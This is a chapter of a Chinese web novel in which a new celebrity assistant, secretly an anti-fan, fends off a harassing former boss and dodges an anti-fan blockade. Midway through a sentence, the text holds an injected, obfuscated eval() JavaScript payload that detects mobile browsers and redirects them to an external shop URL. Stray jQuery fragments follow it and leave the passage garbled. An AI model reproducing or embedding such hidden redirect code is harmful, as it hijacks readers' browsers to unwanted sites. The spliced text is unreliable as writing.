第二天早上，莫宁知准时起床。
严格意义上来说，今天才是他第一天以艺人助理的身份去上班。
艺人助理这份工作对穿着有要求，衣柜里那些潮牌都不合适，莫宁知找了十分钟，最后从衣间角落里翻出了一件几乎被遗忘的黑色衬衣。
这种穿着低调不抢镜，很适合小助理打扮。
莫宁知撑着墙，弯腰在玄关处换鞋，黑色衬衫袖口挽到手肘，衣摆随性扎进裤腰，布料随肩背线条流畅滑落，在腰间被束紧，绷出紧窄的腰线。
骨相夺衣，哪怕是最普通的款式，也被他穿出了不一样的质感。
出门前，莫宁知循例看了一眼黑粉群。昨晚黑粉们在群里商量今天要突袭秦为晋某段行程，一直讨论到后半夜。
因为这次的组织者比较激进，在黑粉中算远近闻名的刺头，所以莫宁知并没有掺和进去，全程旁观，最后实在熬不住就睡过去了。
群里的最后一条回复停留在03:25，往上翻翻，还能看到各种详细计划。
托黑粉们的福，莫宁知对秦为晋最近两周的行程已经烂熟于心。
秦为晋今天早上十点会出席一场代言品牌的新品发布会，现场在江边游轮，环境相对公开，最适合搞突然袭击。
然而直到现在，群里还是一反常态的安静。
莫宁知可不会相信他们是集体睡过头了，现在只是暴风雪来临前的宁静。
担心有变故，莫宁知暂时给群聊关闭了免打扰，他不确定激进派黑粉们有没有私底下拉新的群聊，只能祈祷在正式行动之前，他们还会做最后的集结。
……
早餐莫宁知是在小区外的店铺里解决，他是常客，老板娘没等他点单，就给他上了一份黄金糯米卷，五只虾饺，一杯豆浆。
一边熟练地跟他搭话：“今天这么早，上班啊。”
看了眼时间，还来得及，莫宁知就走进店铺：“嗯，换了份工作，今天第一天上班。”
“哟，那真是好啊。”老板娘擦了擦手，转身从蒸屉拿出两块糕：“这是店里新做的马蹄糕，尝尝，不要钱，吃了好步步高升的。”
老板娘吉言说得好，莫宁知道了声谢，心里却在思忖，他是秦为晋黑粉，当了助理后如果步步高升，能升到哪儿去。
……真爱粉？
莫宁知觉得根本不可能。
恰好这时店里来了客人，老板娘就到前面招呼客人去了，莫宁知安静解决早餐，手机却忽然震动起来。
本以为是群聊终于开始造作了，没想到是个陌生来电，他眉峰往下压了压，直接锁屏当没听见。
可没过一会儿，手机再次震动，响声连绵不绝，这回是几条信息陆陆续续传了进来。
〔陌生号码〕：小莫啊，考虑得怎么样了？停职在家反省的这两周你应该也想通了吧？
〔陌生号码〕：我比你虚长几岁，见过的犟种比你头发还多，可最后还不是乖乖就范，说到底我也是为你好，对了，你不在这几天，裘老板可跟我打听你好几次了。
〔陌生号码〕：只要你答应作陪，我升职以后，主编这位置就是你的。
〔陌生号码〕：人呢？回句话啊！
不要脸的内容一条一条往外蹦，底线也越来越低，像下水道里嘶嘶吐舌的臭鼠，让人忍不住恶心。
莫宁知嫌恶地拧起眉。
给他发消息的，是前公司主编，他的顶头上司。
两周前，莫宁知还在娱记岗位上发光发热，忽然接到通知，要他去接待一个新的合作商。
对方是南方某地产老板，很有些家财，对自媒体投资很感兴趣，公司十分重视。
莫宁知以往是拒不参加任何饭局的，但主编在回程的机场截下他，直接带到了约见地点，仅仅一个照面就把莫宁知往对方怀里推，笑眯眯地让他给老板倒酒。
莫宁知从前家境不错，从小就见识了太多有钱人的恶劣，立刻明白过来，这就是一场披着谈生意幌子的恶心拉皮条。于是，在老板试图摸他的腰时，莫宁知抄起手边的分酒器就泼了过去。
给老板浇了个透心凉。
主编当场气成一只绝望的尖叫鸡。
莫宁知泼完酒就畅畅快快地走了，留下主编一个人善后。然而第二天人事就忽然通知他停职查看，理由是得罪合作商，损害公司利益。
想也知道是主编的手笔，莫宁知恶心得吃不下饭，当天就提交了离职报告。
嗡嗡！
〔跟你说话呢听没听见？〕
〔莫宁知！〕
〔陌生号码〕：人贵自知！裘老板老是老了点，可越老越会疼人啊，还有钱，你跟了他直接一步登天，何必非要执着于起早贪黑挣这仨瓜俩枣？
莫宁知被气笑了，舔了舔嘴唇，眸底一片漆黑：【他这么好，你怎么不让你爸让你弟让你儿子去啊，一家子直接鸡犬升天。】
主编被他气得七窍生烟，连着十几条消息发过来。
震动吵得人心烦，莫宁知干脆把手机按成静音。昨晚有些落枕，低头时有些酸疼，他仰起下巴，握住后颈活动了一下脖子，绷起的肩颈线条显得格外紧实流畅。
在主编快要气死前，他才重新拿起手机。
【要当老鸨就去怡红院，再狗叫一句，把你贴微博鞭尸信不信？】
大概是从没遇到过这么不担心丢脸还想跟他同归于尽的下属，主编被吓得心惊胆战，立马夹着尾巴逃之夭夭。
〔陌生号码〕：你敢！莫宁知！我让你在这行混不下去信不信？
莫宁知低嗤一声，他早不在娱记这行混了。
他无意识地扣着手中的一次性筷子，心里的阴暗面一点点扩散，想了想，莫宁知把刚才的几张截图码掉自己名字，然后打开微博，准备当场送主编出道。
手机再次震了一下，一通电话打了进来。
“莫哥，最近忙啥呢，出来玩啊。”
电话里的人叫黎砚，是和莫宁知一起长大的发小，前几个月刚接手家里公司，财经杂志几次采访登文，正是混得风生水起的时候。
“不去，忙。”莫宁知道，他解决完最后一口马蹄糕，扫了眼菜单上的价格，付完款后离开。
“靠，半年了你天天忙，一天赚几百万啊连聚会都不来了。”黎砚抱怨了两句：“你现在在哪儿呢？我去找你。”
“别来，上班。”
“啧，你还跟莫叔叔杠着呢？”
莫宁知就不说话了。
意识到自己不小心踩了雷，黎砚连忙转移话题：“不说这个了，我找你是真有事，那姓周的老小子最近出了个大风头，据说手上某个项目在外国捞了大钱，照这苗头，他进董事会迟早的事儿，你可别在外边瞎浪了，小心家底都被人掏空。”
黎砚口中的老小子，名叫周曜铮，是莫老头再婚后继母带过来的儿子，比莫宁知大四岁，大学毕业后直接进了莫氏工作，因为手段老练，野心十足，三年内直升公司总经理，现在已经成为了名利场上赫赫有名的人物。
而他这个正牌儿子，却因为和亲爹关系尖锐，矛盾重重，半年前就被赶出家门，这段时间不知道多少人在看他笑话。
莫宁知不耐地皱了皱眉：“老头子的钱，他爱给谁给谁，以后他们的消息不用告诉我。”
太阳升起来了，空气有些燥，莫宁知随手解开喉结下方的两粒纽扣，道：“黎砚。”
“嗯？”
“有个事要你帮忙。”
“什么？”
莫宁知把刚才的图片发了过去，还没等他开口，黎砚那边就炸了：“草，这老流氓敢他妈骚扰你？这不是抽我的脸吗，三天内没让他身败名裂算我废物。”
挂断电话后，莫宁知来到工作室。
距离发布会还有两个小时，时间算不上宽裕，经纪部同事已经忙起来了。
小郭在给品牌方打电话，最后确认一遍流程以及秦为晋到达和离开的确切时间节点，并将品牌方对秦为晋今天的造型建议传达给造型团队。
张钰钰虽然不需要常出外勤，但必要的药品她需要提前准备好。
除了这两位，秦为晋还有三名助理。
工作助理叫许航星，昨天开会的时候见过，是个很成熟稳重的青年男性，至于另外两位宣传和商务助理，因为某些原因暂时不在工作室。
“钰钰，刚才品牌方说，希望晋哥的造型添加一点钻石元素，你帮我把这份表格送到造型师那儿去吧，司机小刘说车出了问题，我去看看。”小郭挂断电话，忽然着急说。
张钰钰正要答应，站在一边的莫宁知忽然开口，淡声道：“我来吧。”
小郭看着他怔了几秒，把文件递过去：“好。”
莫宁知没伸手接，而是笑了下，“我是说，我去看看车。”
……
地下车库。
莫宁知一出电梯口看到了熟悉的车，他前几个月跟拍过秦为晋一段时间，对他的车还有些印象。
一名年轻人正站在车边，懊恼地踩了踩轮胎。莫宁知走过去，问：“怎么了？”
对方回过头来，愣了一下：“你是……”
“新来的助理。”莫宁知把工作证拿出来，问：“车胎有问题？”
“不算严重，就是气压有点低，原因还不清楚。”
莫宁知蹲下按了按，发现左前方的轮胎有些微微凹陷，靠近时还听见滋滋的漏气声，很轻微，在空旷嘈杂的地下空间里很难听清。
他仔细检查了一遍，没发现有人为破坏的痕迹，应该属于车胎的正常磨损。
莫宁知擦了擦手，站起身来：“车胎漏了，维修工什么时候到。”
司机小刘皱着眉：“早高峰，堵高架上了，过来最快也要四十分钟。”
来不及了。
莫宁知看了眼时间，思索片刻：“这儿还有别的车吗？”
“有是有……”小刘犹豫道：“但是，是昨晚刚送到的新车，还没开过呢。”
“就开那辆。”莫宁知道：“去检查一下有没有问题，然后把车开到门口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16606067|187564||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
他语气直白又迅速，散发的专自然感让小刘不由自主地听从和执行，反应过来时，才发现这件事并没有向上申请，征得工作室同意。
莫宁知把车上的物品搬到新车里，刚忙完，黑粉群里就传出了声音。
【第一批队伍已经就位。】
【死守工作室，目标一出现，立即行动！】
【好！绝对不让他去参加发布会！】
莫宁知：“……”
不得了，这帮人还打上门来了。
……
经过一小时的准备，秦为晋的造型已经整理完毕，一身深黑色的正装，左肩点缀着红色龙纹刺绣，添加宝石点缀，稳重大气又不会过于沉闷，发丝根根精致。
造型师很懂如何把秦为晋打扮得色香味俱全，侧背的发型有几缕搭在眉梢，眼睫浓长，西装挺括，一举一动都显得那么攻气十足。
时间差不多了，秦为晋看了看身后，没看见新来助理的身影，问：“莫宁知呢？”
小郭正在往水壶里灌水，闻言道：“去车上了，刚才小刘说车有点问题，他说去看看，现在已经解决了。”
秦为晋点了点头，“那走吧。”
许航星带路，把秦为晋和小郭带到了地下车库，秦为晋注意到，这里并不是他平常上车的地方，不自觉皱了皱眉。
下一秒，一辆颜色别致的崭新保姆车在眼前停稳，小郭吓了一跳，往后退了几步：“小刘，你今天怎么开这车啊，之前那辆呢？”
驾驶位车窗降下，露出莫宁知清隽的脸，他视线先是在一旁的秦为晋身上转了一圈，才说：“那辆车坏了，小刘送去修理，今天我开车。”
“你还会开这种车型啊。”小郭稍稍羡慕了一下，打开车门，让秦为晋坐了进去，自己则跟许航星从另一侧上车。
这辆新车是詹临舟半年前找品牌方特别定制的，宽敞舒适，而且车门和玻璃都是特制的，设施完备且私密。
秦为晋刚坐下，就听前座传来声音：“系一下安全带。”
秦为晋抬起头，视线和莫宁知在后视镜中相撞，对方眼底的冷淡还没来得及收敛，先是愣了一下，眸光变得清凌凌的，澄澈又纯粹。
跟昨天说自己是真爱粉时一模一样。
秦为晋微不可察地择啧了一声。
还挺会演。
……
秦为晋收回目光，从善如流，在腰间扣上了安全带。
汽车终于缓缓上了路。
秦为晋不自觉把视线放到前座。
新来的小助理车技很好，单手开车，右手扶着方向盘，左胳膊随意搭在车窗边。这姿势很帅，再配上他漂亮的脸，很容易让人产生一种他在开某款硬核越野的错觉。
“晋哥，你是想跟我说什么吗？”
秦为晋回过神，才发现莫宁知好像已经在后视镜里看了他不知道多久，“嗯？”
莫宁知轻轻一笑：“你都看了我好久了。”
感觉倒是敏锐，秦为晋想，他抬眼跟镜中的视线对上，那双眼睛就弯了起来，漂亮得像一汪山泉，“被偶像这么盯着，我会紧张。”
秦为晋：“…………”
又演？
……
感觉不到如芒在背的视线了，莫宁知恰好把车开到出口。
他已经提前了解过这片地下停车场附近的所有出入口，连续拐了几个弯后，已经离工作室很远。
许航星左右看了看，奇道：“这是个超市吧？怎么从这儿出来了。”
秦为晋的工作室和一家大型商场相邻，中间隔着两条街，看上去没什么联系，但地下却是共通的，只是车库里地形复杂，很容易迷路。
莫宁知驾驶着汽车经过升降杆，闻声言简意赅道：“堵车了，这条路线更快。”
许航星哦了一声，转头看向窗外，不再问了。
保姆车在超市出口转了个弯，又折回，莽莽撞撞汇入了车流。在穿过高楼间的天桥下时，一阵鼎沸的吵闹声猛然盖过了车流噪音，像飓风在城市间撕开了一个豁口，令所有人侧目。
“靠，这帮人什么时候摸到家门口来了？”许航星趴在窗边惊讶道。
小郭也跟着喃喃：“这种规模……咱是犯天条了吧。”
秦为晋抬眉看过去，熟悉的保姆车在刚走出车库不足十米的距离被拦截。
群情激奋的年轻人们吵吵嚷嚷地围死了四周，口中呼喊着他的名字，仔细听还能听见一些抵制的口号。
安保人员从各处涌出，想把这群人清走，却收效甚微。
莫宁知收回视线，轻轻笑了一下。
他是黑粉没错，但干一行爱一行，他现在主业是助理，就要以保护秦为晋为主。
至于黑粉群中把他当做自己人的同好们……那就只能对不起了。
这么大规模的黑粉集结，看得人心惊。
秦为晋庆幸小助理换了条路的同时，收回视线，没错过莫宁知唇边一抹恶劣的笑。
秦为晋：“……？”